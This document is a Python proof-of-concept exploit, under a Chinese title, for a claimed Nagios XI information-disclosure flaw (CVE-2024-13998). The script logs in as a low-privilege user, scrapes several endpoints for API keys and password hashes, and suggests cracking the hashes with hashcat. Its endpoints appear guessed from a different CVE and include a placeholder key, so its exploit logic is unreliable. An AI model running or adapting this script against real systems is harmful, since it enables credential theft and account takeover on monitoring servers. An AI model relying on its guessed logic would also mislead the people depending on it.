CVE-2024-13998 Nagios XI敏感信息泄露漏洞

import requests import re # CVE-2024-13998 PoC - Nagios XI Information Disclosure # Target: Nagios XI < 2024R1.1.3 # Authenticated low-privilege user can retrieve API keys and password hashes TARGET = "http://target-nagios-xi.local" USERNAME = "lowpriv_user" PASSWORD = "password123" def login(): """Authenticate to Nagios XI and obtain session cookie""" session = requests.Session() login_url = f"{TARGET}/nagiosxi/login.php" # Get login page to obtain session cookies resp = session.get(login_url) # Submit login credentials login_data = { 'username': USERNAME, 'password': PASSWORD, 'loginButton': 'Login' } resp = session.post(login_url, data=login_data, allow_redirects=True) return session if 'nagiosxi' in session.cookies.get_dict() else None def exploit_info_disclosure(session): """Exploit the information disclosure vulnerability""" # Target specific API endpoint that leaks sensitive data # Based on CVE-2024-13995 similar vulnerability pattern api_endpoints = [ f"{TARGET}/nagiosxi/api/v1/users?apikey=LEAKED_KEY", f"{TARGET}/nagiosxi/api/v1/system/userinfo", f"{TARGET}/nagiosxi/includes/components/xicore/ajaxhelper.php" ] results = { 'api_keys': [], 'password_hashes': [], 'sensitive_data': [] } for endpoint in api_endpoints: try: resp = session.get(endpoint, timeout=10) if resp.status_code == 200: # Search for API keys (32-64 char hex strings) api_pattern = r'[a-f0-9]{32,64}' hashes = re.findall(api_pattern, resp.text) # Check for password hash patterns (bcrypt, SHA) if '$2' in resp.text or 'sha' in resp.text.lower(): results['password_hashes'].append(resp.text) if hashes: results['api_keys'].extend(hashes) results['sensitive_data'].append(resp.text) except Exception as e: print(f"Error accessing {endpoint}: {e}") return results def main(): print("[*] CVE-2024-13998 PoC - Nagios XI Information Disclosure") print("[*] Target:", TARGET) # Step 1: Authenticate print("\n[1] Authenticating as low-privilege user...") session = login() if not session: print("[-] Authentication failed!") return print("[+] Authentication successful!") # Step 2: Exploit information disclosure print("\n[2] Exploiting information disclosure...") data = exploit_info_disclosure(session) # Step 3: Report findings print(f"\n[+] Found {len(data['api_keys'])} potential API keys") print(f"[+] Found {len(data['password_hashes'])} password hashes") if data['api_keys']: print("\n[*] API Keys:") for key in set(data['api_keys']): print(f" {key}") # Step 4: Crack password hashes (optional) print("\n[*] Use hashcat to crack passwords:") print(" hashcat -m 3200 hashes.txt wordlist.txt") return data if __name__ == "__main__": main()